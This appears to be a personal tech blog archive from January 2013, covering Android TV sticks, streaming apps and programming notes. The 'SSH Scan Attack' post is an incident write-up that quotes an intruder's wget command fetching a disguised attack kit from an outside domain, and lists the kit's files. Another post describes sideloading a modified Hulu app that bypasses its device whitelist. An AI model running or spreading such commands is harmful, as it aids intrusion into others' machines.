JS Ext

Thursday, January 31, 2013

MK802 III: Hulu Plus Working!

In previous posts, I mentioned that Hulu Plus had a whitelist of devices that it would work on.  The app did not give my device a opportunity to even try to play content.  It irritates me when a media company actively prevents me from legally watching their content.  Luckily, a few different people on XDA have released modified versions of the latest Hulu app.  I don't know if they removed the whitelist check or if they just added a .* into a pattern file.  I was able to download the APK file and sideload it onto the MK802 III.  Once there, the Free Gallery was available for me to watch.

I signed up for the one week trial of Hulu Plus and was very happy to so much content available.  The app was obviously not designed for a TV screen.  Some of the text can be quite small.  The app can be misleading regarding availability.  Some content has a little black box in the icon that says "WEB ONLY".  This overlay only appears one pages where the icon is small.  If the icon is large, then it doesn't show it.  If you try to play WEB ONLY content, it will display a box saying Hulu was not able to secure the rights to play the content in this manner.  Although a little irritating and believable, I kept searching through the content.  That is when I discovered that Fox, which owns Hulu, wasn't able to secure the rights for Fox's "The Simpsons".

I am still pretty happy with the available content.  I still have no way of watching some CBS and FOX shows on the MK802 III, but I am getting closer to legally accessing 100% of the content that I watch on the MK802 III.  The video quality is no HD.  I don't have a screenshot of the video.  We will probably be keeping the Hulu Plus subscription thanks to some XDA developers.  Thanks various XDA developers for allowing me to spend money on Hulu Plus when Hulu obviously didn't want me to.

Screenshot of my Queue

Wednesday, January 30, 2013

Making an effort to use the tablet more

I have been slowly moving towards using my laptop more.  It started with programming.  Tablets are just not programmer-friendly yet.  Then, I started browsing the web more on the laptop.  Many of the websites in regularly go to have mobile versions of their websites, but these mobile versions tend to be awful.  I usually check the box to give me the desktop site, which has flash advertisements.  Since I was already on my laptop programming, I would just use Firefox with Noscript or Chrome for those sites.  My programming project is slowing down so I was hoping to get back into the rhythm of barely using my laptop.  Then, my laptop died.  I am now using my tablet for just about everything.  I have Hacker's Keyboard installed so ConnectBot is a lot easier to use.  I still use my desktop when I need to do the more complicated tasks.

Tuesday, January 29, 2013

Testing JSPs

I have been trying to write more automated test cases in my Java projects.  I have unit tests for individual classes.  I have integration tests between classes.  I have also been making use of Hsqldb to have an in-memory database to test the classes against a real database.  I haven't been able to test JSP rendering, however.

Most of the documentation I read online tends to suggest starting an appserver as part of your build.  I feel like this is a terrible idea.  If you use Tomcat, then this idea may work for you.  If you use something else, then this becomes very prohibitive.  There are licensing considerations.  There are problems with managing the configuration.  If I install the war file into a real appserver, it is going to want a real database.  There is no good way to stub that out.  Once you are connecting to a real database, you throw out the repeatable nature of the test.  You also add a significant amount of time to the build process.

What really needs to happen is someone needs to create a servlet engine that works in an embedded manor.  It should work work like JUnit.  You should be able to fake an HTTP request so the testing servlet engine and mock the midtier that the JSPs would call.  It would be great if we could get code coverage for the JSP files as well.

Monday, January 28, 2013

Feature Request: HDMI CEC in MK802

I have been reading a lot about HDMI's Consumer Electronics Control (CEC) protocol lately.  CEC allows devices that are connected to each other over HDMI to control each other.  The main use case is that you can use your TV remote control to control your media player.  XBMC and MythTV running on Linux already support this feature.  It would be really nice if there was Android support for CEC.  Out of the box support for CEC would be great for consumers.  They wouldn't need to buy a separate remote control to use the device.  They could just use their TV remote control.  Although I do think it is important to make it easier for mainstream adoption, it is not a priority for my set-up.  I already have multiple Mele Fly Mouses.  Also, my Vizio TV in the living room has a horrible remote control.  The Vizio TV in the bedroom has a good remote control, but I like to keep the two set-ups as consistent as possible for my wife.

Here is a nice write up on trying to get CEC support for the Allwinner chips that the MK802 uses.  This article is for Linux on the MK802, however.

Friday, January 25, 2013

Perfect Execution vs Learning

At the various places that I have worked, I have always been told by management that you need to have "Perfect Execution".  They say this because Six Sigma tells them that a process should only have 3 defects per million opportunities of having a defect.  When talking to co-workers, there is a completely different attitude.  The motto tends to be you "Learn by Making Mistakes".  These two concepts tend to be at odds with each other.

Learning by making mistakes is a very productive way to learn.  There are a few reasons for this.  When you make a mistake, and something breaks, you see the cause-and-effect relationship between things.  To me, this is very important because you can't teach someone every possible scenario or permutation.  If you teach the basics and teach them the cause-and-effect relationships, the person should be able to extend that knowledge to new scenarios.  By allowing them to make a mistake earlier, you allow them to make fewer mistakes later.  Making a mistake also has a psychological effect on a person.  When you are publicly shamed for a mistake you make, you learn to not make a similar mistake in the future.

This concept of learning on the job seems to be at odds with the concept of perfect execution.  I think the disconnect comes from trying to apply concepts like Six Sigma, which were designed for manufacturing, to sectors like information technology.  Manufacturing is very static.  Employees perform the same task over and over again.  New employees have to learn the repetitive task.

In information technology, everything is more dynamic.  One of the metrics of a good IT shop is how fast they adapt to change.  As the world changes, the IT industry needs to change as well.  Although there are repetitive jobs in IT that could fall under the perfect execution blanket, most of IT's job is to make changes.  Once you make a change, perfect execution goes out the window.  Making a change is by its very definition not repetitive.  This is why the workers tend to have the learning attitude.

MK802 III: USB Gamepads

I did not buy the MK802's for gaming.  I have a Windows VM that has HDMI output connected to the TV for gaming.  My buddy (who has the original MK802) asked me to check if the USB SNES controllers worked on the 3rd generation MK802.  I plugged the controller in and installed Gamepad IME to test out basic functionality.  I installed an emulator, mapped the buttons and fired up a ROM.  The controller worked perfectly.  I didn't do exhaustive testing; I played Super Mario World for 2 minutes just to prove that it works.  On a related note, the game did have minor lag from time to time.  Overall, that game was playable.  I noticed the performance difference between running the emulator on the MK802 vs running the emulator on Windows (which is being emulated, hehe).  I will stick with running emulators in (emulated) Windows.  It would be handy to have my emulated games on the go.  I will wait until a more powerful USB stick computer comes out, though.

Thursday, January 24, 2013

Classic USB SNES Controllers

My buddy and I each purchased two USB SNES Controllers.  A few of my friends got together at my buddy's place to place some classic NES and SNES games on emulators.  When I got there, he told me that the SNES controllers had some bad reviews.  Given how cheap they are, they had manufacturing problems.  At this point, I was already using one of my controllers for a few weeks.  He said that most of the defects could be fixed by taking the controllers apart.  At first, we didn't notice any problems.  We were playing Bubble Bobble with ease.  We noticed the problem after we switched to Dr. Mario.  On one controller, the down button also moved right.  My buddy took it apart just to discover that a screw was missing.  This screen held together the left half of the housing.  Without the screw, the internals slid around a bit.  This caused the D-Pad rubber to misalign.  He was able to fix the alignment, but the screw was still missing.  The down-moving-right problem went from happening 90% of the time to 5% of the time.  For most games, that is not that big of a deal.  For Dr. Mario, it is a definite handicap.  I have not experienced any issues with the one controller I have tried, but I haven't played Dr. Mario either.


Wednesday, January 23, 2013

Upgrading to Spidermonkey 1.8

Spidermonkey is a C library for executing Javascript from inside of your application.  Although fast an reliable, new versions tend to break compatibility.  I just updated my computer from 1.7 to 1.8.5.  During that upgrade, here are a few of the problems that I faced:

1) JS_GetStringBytes() has been retired

JS_GetStringBytes() returned a pointer to the private character array of the JSString.  I can understand why the API designers wouldn't want to give out a pointer to private data.  It has been replaced by JS_EncodeString() which requires a corresponding JS_free() call.

2) JS_AddRoot() and JS_RemoveRoot() have been retired

Instead of a single generic function, there are now specific functions for each scenario.  All of my JS_AddRoot() calls got turned to JS_AddObjectRoot() calls.

3) When defining a class, the SET method was changed from type JS_PropertyStub to JS_StrictPropertyStub

This required changing my definitions to JS_StrictPropertyStub or updaring my SET function to the new arguments.

4) Function pointers are now of type JSNative

This required a bunch of casts.  Before, I could pass in the function pointer.  Now, the DefineFunction function requires the pointer to be of type JSNative.  A Simple change.


After making all of those changes, my program compiles, but it doesn't run.  It SEGFAULTs on JS_NewObject().  I tried different variations of the call.  I recompiled Spidermonkey in debug mode but I don't get any more info.  I still get the following stack trace in GDB:

#0  0x00007ffff617eedc in ?? () from /usr/lib64/libmozjs185.so.1.0
#1  0x00007ffff617b0dd in JS_NewObject () from /usr/lib64/libmozjs185.so.1.0


I have decided to revert back to version 1.7.0 for now.  This in itself is problematic since I upgraded everything on the system, not just Spidermonkey.  Policykit requires 1.8.5, so I have to uninstall policykit.  A bunch of apps used policykit, so I had to recompile without policykit support (yay Gentoo).  I revered my svn commit and I was up and running.  I make a branch out of the 1.8.5 changes to see what I can do to get it to run in the future.

Tuesday, January 22, 2013

Android Task Killers

When I got my first Android phone, I installed a task killer.  It was not an automatic task killer.  It had a widget icon that I tapped to kill apps that where not in a whitelist.  I know this is a bit of a religions debate.  I see both sides.  In my opinion, the task killers do have a place.

The discussion usually starts with a pro-task killer talking about background processes that they don't like.  The feeling they get is that those background processes are consuming battery...which they are.  An anti-task killer will say Android will automatically kill activities that aren't being used.  They will say that task killers actually use more battery because the background task will continue to start, which consumes the battery.

While generally that is true, in my experience, Android didn't get "good" at that until 4.0.  My phone and tablet run 4.1.  I have two Android TV's, one runs 4.0 while the other runs 4.1.  I do have task killers on all of them, but I almost never use the task killers.  I keep the task killers around because of the underlined generally from before.  The presumption that anti-task killers make is that Android will kill the background tasks that you don't really care about, leaving the tasks that you don't realize you care about.  What happens when an app is poorly written?

Developers are human.  Everyone makes mistakes.  Sometimes an error condition is triggered causing problems.  Android's documentation and developer community tends to emphasise the use of background threads.  After programming in Java from years, I have seen first hand that Java developers are bad at resource management.  Threads are resources.  Therefore, Java developers tend to be bad at writing multithreading code.  There is something about making it easier for developers to do something that causes them to abuse it.

What is comes down to is sometimes an app will consume a lot of CPU.  Android does provide a way to list running processes and kill a specific one, but it takes a while to go through that navigation flow.  I have found that on those occasions where an app goes rough, having an easy to use way of killing processes that are unknown to you comes in handy.  To me, its not about conserving battery.  My Android TV devices are plugged into the wall for power.  It is about having the ability to kill a process.  Android is based off of Linux, which gives you the ability to kill a process.  One of my complaints about Windows is that it can be hard to identify and kill a running process.    Please, don't make the argument that Android should be more like Windows!

Monday, January 21, 2013

MK802 III: Netflix

The latest version of the Netflix app works out of the box on the 3rd generation MK802 III.  My wife has watched hours of content (entire seasons) and has not suffered any buffering issues.  The interface runs a lot faster and is easier to use.  The quality is great.  This is a big win for the MK802.  Netflix is a must have app.


Friday, January 18, 2013

Stack-based Garbage Collection

When comparing programming languages, a lot of people say that c++ does not have garbage collection.  While I understand why people say that, the statement isn't entirely true.  I'm not talking about Hans Boehm GC either.  Definitions are important to understand what I'm taking about.  Garbage collection is when the system automatically deletes unused memory for you.  Lets look at the following example:


int getLength( const char *str )
{
    std::string cppstr( str );
    return cppstr.length();
}


In this example, where does the delete of the string occur?  Why doesn't the developer have to delete the string?  I thought every object that gets created must be deleted?

This is an example of stack-based garbage collection.  In c++, you have the option to create objects in either the stack or the heap.  If you create an object in the heap, you have to delete that object.  If you create an object on the stack, you can NOT delete the object.  The system manages the deletion for you.  The object gets deleted when the stack frame is closed.  Stack objects has very limited usefulness.  That is why most objects are created on the heap.  It is still technically garbage collection, based on our definition above.

Thursday, January 17, 2013

SQLite as a PHP Database

Webphotations is the first PHP webapp project where I used SQLite as the database for the website. I have used SQLite for some embedded apps, however.  Normally, I stick with MySQL or Postgresql for PHP.  I decided to go with SQLite because of how few the number of concurrent users this app will have.  Given the fact that this app is designed for "mini" crowds, there isn't a need for an industrial database.  Since there isn't a need, I decided to take advantage of SQLite's ease of setup.  To install Webphotations, you have to create a simple PHP config file.  That config file specifies the path to the (soon to be created) database file and the path to the photographs.  On first hit, the database, the schema and the initial data are populated.

I reused a programming pattern that I have used for  SQLite with C and for Java apps connecting to various database types: I bundle my creation and CRUD operations as .sql files.  I use the PDO abstraction layer to create a database handler.  If the schema does not exist, I pass in the return value of file_get_contents( 'sql/init.sql' ) to PDO::exec() to add the schema.  For each CRUD operation, I pass in the return value of file_get_contents( 'sql/createUser.sql' ) into PDO::prepare(), then call PDOStatement::execute() with an array of values to parameter bind in.  I always use '?' characters for the parameter binding because that is the universal parameter bind stub.  Some databases support naming the parameter bind using ':1' and ':2'.  Although this is superior to '?', it is also not as supported.  Although I hardcode the use of SQLite, all the CRUD .sql is ANSI SQL compliant, so switching out the database would require very little effort.  Even though I have no plans of ever switching it out, I have drilled it into myself that I must maintain compatibility.

This is far easier than creating a new daemon, and acting as a database administrator.  No Muss, no fuss.  This app should be easy to install and start using on a home server.  This project is part of my personal cloud initiative.

Wednesday, January 16, 2013

MK802 III: Youtube app

The Youtube app in the 3rd generation MK802 works a lot better than the previous generations.  Although HD content sometimes has buffering issues, most of the time it plays just fine.  When the buffering issues occur, switching to SD for that video usually works fine.  The main thing that I don't like is the fact that I don't know how to play videos in fullscreen mode anymore.  The Fullscreen button on the botton-right corner of the video is no longer there.

The video tends to take up most of the screen anyways.  I have started to use the Youtube app as a content provider to regularly watch shows.  The screenshot shows one of my favorite shows: Tabletop


Tuesday, January 15, 2013

Webphotations Launch

I have launched a new project called Webphotations.  I spent the last two weeks working on and off writing this software.  The goal of the project is to allow my family to log into a website that contains all of our family pictures.  We can then pseudo cobrowse.  As the group leader moves from picture to picture, everyone else automatically navigates to that picture as well.  We can work together to put descriptions on our family pictures.  The group leader types in the description and has the option of rotating the pictures as well.  The EXIF information is displayed to help figure out details about the picture.  I have uploaded an early alpha version to SourceForge.  Just unzip, create the config.php file, and log in with admin/admin.  In future posts, I will discuss some of the details about the software.

Monday, January 14, 2013

SSH Scan Attack

One of my computers had a week password on one of the un-priveldeged users.  An ssh scanner found the computer.  The attacker then logged into my computer to use it as an ssh scanner, effectively creating a distributed ssh scanner.  I discovered the attack and locked out the user, but the attacker did have access for a few days.  I have reviewed my logs and it doesn't look like the user did anything destructive.

The first login came from 64.37.51.41.  I'm guessing that this computer is one of the infected computers.  I got two logins from 90.168.11.25, probably as a test.  After that, I got 55 logins from 89.123.236.103.  It appears that is the ip address of the command/control server.  That ip shows up on a honeypot website as being near a known spammer.

From looking at the bash history, the user downloaded the attack software from skilandat.de.  It has a .jpg extension, but it is a tar file.

wget skilandat.de/srg/xyz.jpg;tar xvf xyz.jpg;rm -rf xyz.jpg

The xyz attack was in /var/tmp/.xyz.  It uses a dictionary attack against blocks of ip addresses.  The successful ssh's from the scan go into trueusers.txt.  The file on my compute currently has 28 ip/user/password combinations.  The bash history shows that the attacker used my machine to ssh to a few of the successful hosts.

Here is the contents of the /var/tmp/.xyz folder:

ls -la
total 14188
drwxr-xr-x 2 vm   vm       4096 Jan 12 14:28 .
drwxrwxrwt 7 root root     4096 Jan 14 16:48 ..
-rwxr-xr-x 1 vm   vm        205 Jan 18  2011 a
-rwxr-xr-x 1 vm   vm       3350 Jan 18  2011 mass
-rw-r--r-- 1 vm   vm   11886058 Jan 18  2011 passfile
-rwxr-xr-x 1 vm   vm     167964 Jan 18  2011 pico
-rwxr-xr-x 1 vm   vm       5944 Jan 18  2011 pscan2
-rw-r--r-- 1 vm   vm       5784 Jan 18  2011 pscan2.c
-rwxr-xr-x 1 vm   vm        659 Mar  5  2012 rand
-rw-r--r-- 1 vm   vm          0 Jan 11 19:12 scan.log
-rwxr-xr-x 1 vm   vm     719860 Jan 18  2011 scanner
-rwxr-xr-x 1 vm   vm    1446381 Jan 18  2011 scanssh
-rwxr-xr-x 1 vm   vm     249980 Jan 18  2011 screen
-rw-r--r-- 1 vm   vm        726 Jan 11 19:09 trueusers.txt
-rwxr-xr-x 1 vm   vm        205 Jan 18  2011 x

Why are cpus so much "slower" than gpus

CPUs (Central Processing Units) are general purpose processors.  They can do 5 different things (5 types of operations).  They can do arithmetic, logic, jumps, reads from memory and writes to memory.  With the combination of those 5 operations, you can do anything.  CPU's have to balance the performance of those 5 operations.  If any one of those types runs slow, then the entire computer runs slow.

GPUs (Graphics Processing Units) are domain-specific processors.  Their only goal is to accelerate 2D and 3D graphics.  3D graphics are based on matrix multiplication.  Matrix multiplication can be very slow.  A single matrix multiplication requires a lot of floating point multiplication and addition operations.  In the pre-GPU era, the CPU had to perform all the individual float operations.  If you are pre-rendering a 3D movie, then the CPU limitations are not that big of a deal.  For video games, you need to render the 3D in realtime.  It is not a surprise that video game companies started to push to make it easier to do 3D realtime graphics.

The key to making 3D rendering faster is the matrix multiplication.  If you analyse the formula, you will see that many of the float operations don't actually depend on each other.  This means you can perform the float operations in parallel.  This is the key to a GPUs performance.  Instead of feeding two numbers and an instruction to a CPU over and over again, you feed two 4x4 matrices and an instruction to the GPU and the GPU performs the calculation in parallel.

As you make your 3D scene more complex, you need to perform more and more matrix operations.  You generally need to render at least 30 images every second.  To increase the quality of the 3D scene, you need a faster GPU.  It turns out that making a GPU is faster is a lot easier than making a CPU faster.  Remember those 5 types of operations that a CPU needs to keep in balance?  If you noticed, the GPU only needs to do one of those operations: the arithmetic.  Since GPU's are not general purpose processors, they can be highly optimized. 

The side effect of GPU's fast math performance is that it works for other applications as well.  It is becoming more and more common to use the GPU's power to encode 2D video or perform encryption.

Friday, January 11, 2013

Tasker Infinite Reboots

I have been having an issue with the MK802's where they sporadically freeze.  It doesn't happen often, and it usually happens when the device has been sitting idle for a few hours.  The 3rd generation MK802 supports a software reboot and shutdown.  Since it comes pre-rooted, I was able to use Tasker to tell the device to reboot.  I made the mistake of creating a Time-based profile that had no end time.  I tried to tell the device to reboot at 2am every morning.  Instead, the device would reboot when inside of the profile time....which is any time after 2am.  So, the device reboots.  After it boots up, Tasker starts up, decides that the nightly reboot profile should be active, and it reboots again.  I tried to use Advanced Task Killer to kill Tasker before the profile got enabled.  I could never get that to work.  I had to plug in a usb mouse.  I was able to use the mouse to open up the Play Store to uninstall Tasker before the reboot profile turned on.  I reinstalled Tasker and created a profile that ended at 2:05am.  Also, I put in a one minute Wait task before the reboot just in case I messed something else up.

Thursday, January 10, 2013

DPMS over HDMI

I used to hook up Linux media center computers to each TV in my house.  When using Linux, I tended to use VGA instead of HDMI.  I used a Streamzap USB remote to control the custom media center software.  I had mixed success with using the Power button on the Streamzap remote to turn the TV on and off using DPMS.  I would like to do the same thing with the Android devices.  The Mele Air Mouse has a Power button, and I would like to turn the TV on and off using that button.  I have not figured out how to do that yet.  I have not found any documentation on DPMS in Android.  I can't even find documentation on DPMS over HDMI.  This would be a really great feature to use.

Wednesday, January 9, 2013

MK802 III: Skype

Skype support is a big deal for me.  I want the ability to video conference with someone on the big screen.  I also want them to see my entire couch.  The goal is to do group video calling.  There are a few blogs that cover this topic.  In the 1st generation MK802, you have to download a ROM upgrade (which has its own problems) to get Skype video calling support.  For the 3rd generation, I was able to get the Microsoft LifeCam VX-700 and the Logitech HD Webcam C525 webcams to work with both video and audio.  I decided to use the Logitech because it gives me higher resolution.

Tuesday, January 8, 2013

MK802 III: The CW

The CW app can be installed but it didn't work.  When you start the app, it immediately disappears.  At least it gave it a shot, unlike the Hulu Plus app.

MK802 III: TV.com

CBS's TV.com app seems like it wasn't designed for tablets.  The interface does not scale to a large screen very well.  I did try to stream some content, but I didn't watch the entire episode, so I don't know if there are any buffering issues.  I was very disappointed with the content available on the app.  I wanted the app to watch The Big Bang Theory, but it wasn't available.  Full episodes of How I Met Your Mother were available, but I have stopped watching that show.  I just want to know who the mother is!

MK802 III: Video Performance

One of the best parts of the 3rd generation MK802 is the video performance.  To give you a baseline on performance, here is a chart that describes the performance on the 1st generation MK802:


MK802 1st Generation
FormatCodecQualityMX PlayerBundled HD Player
AVIXVIDSDSWNo
MKVXVIDSDHW*No
MKVH264HDHW*No
FLVVP6SDSWNo
MP4H264SDNoHW
MP4H264HDNoHW
* Seeking not supported

The 3rd generation does not have the same bundled Super HD Player.  This didn't matter too much to me because of the great surprise that MX Player supprted HW decoding and seeking in all video formats:


MK802 3rd Generation
FormatCodecQualityMX Player
AVIXVIDSDHW
MKVXVIDSDHW
MKVH264HDHW
FLVVP6SDHW
MP4H264SDHW
MP4H264HDHW

Now that I have one program to use for all media files, I decided to buy the Pro version of MX Player to support the developer.

Monday, January 7, 2013

Android apps that filter by device

Android apps can filter out what devices it works on using two different methods: 1) You can filter using the app store and 2) You can have your app detect the device and popup a message.  After using the MK802, I am getting very frustrated with this filtering.

The App Store filter is designed to prevent compatibility problems, like requiring a specific version of Android, or requiring the device to be a phone or a tablet.  Most apps use this feature correctly.  Some apps try to filter our unknown devices.  An example of this is the iHeartRadio app.  This app says that is not available on the MK802.  You can however copy the app off of your phone and install the apk file onto the MK802 and it works just fine.  Although annoying, it is nice to have a work-around for the problem.

The device detection code is far more problematic.  In this method, the app is available for install in the app store.  Problems occur when you try to run the app.  The app pops up a message saying that this device is not supported.  An example of this is the Hulu Plus app.  I had every intention to pay for a Hulu Plus subscription.  That intention ended when I tried to run the Hulu Plus app on the MK802 just to find out that it wasn't supported.  This "whitelist" method is the most annoying because there is no workaround.  Since the MK802 is not a mainstream device, there is a very little chance that Hulu would add the device to the whitelist.  Yet another example of failing to pay for media.

Friday, January 4, 2013

MK802 III: Better Performance

The 3rd generation MK802 is a lot faster.  There is no lag when moving between screens.  Live Wallpapers don't cause as much of a slowdown now.  Various streaming video apps perform much better.  I have not tried any games, since gaming is not one of my goals with my MK802's.  The network performance is a lot better.  Latency and throughput between the device and computers on my network are a lot better than the older generation.

MK802 III: Crackle

The first big app that works in the 3rd generation MK802 is Crackle.  In the 1st generation, the Crackle app didn't work.  With the 3rd generation, I was able to watch the shows.  It did not stream HD quality video, but I am fine with that.  The content consisted mostly of Anime, but it had a lot of 80s and 90s TV shows.

Youtube Annotations on Android

Youtube annotations are the clickable areas in the videos.  Most of the time, the annotations are pretty useless.  Some clever Youtubers have used the annotations to make some interesting interactive videos/games.  The two that come to mind are Comediva's Geeky Pickup Lines and Hank Greene's Truth or Fail.  These videos use annotations at the end of the videos to navigate to a different video, making the experience more interactive.

One of the major problems with the annotations is that they only work in a browser.  The Youtube app for Android does not support annotations.  For 100% - 40 videos, that is not really an issue.  For the videos mentioned above, it makes the videos pointless to watch.  I wish the Youtube Android app would support annotations, so that I can play Truth or Fail.  It makes for an excellent party game.

Thursday, January 3, 2013

MK802 Generation 3

I purchased a 3rd generation MK802.  I spent the last few weeks trying the various apps that previously worked and the various apps that have started to work.  I will be posting about the various new features in future posts.  The 3rd generation is a major step up from previous generations.

Google Play videos on the MK802

I am thinking of purchasing some tv shows on Google Play.  I have been reading up on the DRM and I'm a little worried.  Purchased media is stored in a private area on the SD card.  If a pirate wanted to get access to the media, they would need root access.  To prevent this, The Google Play media player will detect if the "phone" is rooted, and it won't play the media if it is rooted.  Many people in the online forums talk about "unrooting" their phone when they play a video.  This causes two problems for me:

1) I want the Android TV to be as easy to use as possible.  I don't want my wife to have to go through some procedure to "unroot" the device just to watch something

2) You may be wondering why I rooted the device in the first place.  There is an easy answer to that: the device comes PRE-ROOTED.  The 1st and 2nd generation MK802's come factory rooted.  This poses another problem: how do you reverse the process?  How do you "unroot" a device that never needed to be rooted?

I have gift cards for the Play Store, but how do I bring myself to pay for such crappy video?

Wednesday, January 2, 2013

New Youtube app

A while back, I talked about how I would accidentally thumbs down videos in the Youtube Android app on my MK802.  The Fullscreen and Thumbs down buttons were really close together.  Coupled with the fact that the fullscreen button disappeared after a few seconds, I often rushed clicking the button.  The Youtube app has been updated, and it looks a lot better.The non-fullscreen video takes up a lot more real estate and the thumbs up/thumbs down buttons have moved away from the fullscreen button.  The fullscreen button still disappears (to preserve real estate).  As far as navigation, the old Youtube app placed too many thumbnails on the screen, which meant they were too small to read from my couch.  In the new app, the thumbnails are a lot bigger, so I can actually read them from 10ft away!  I still have some connectivity issues, but it is sporadic rather than consistent issues.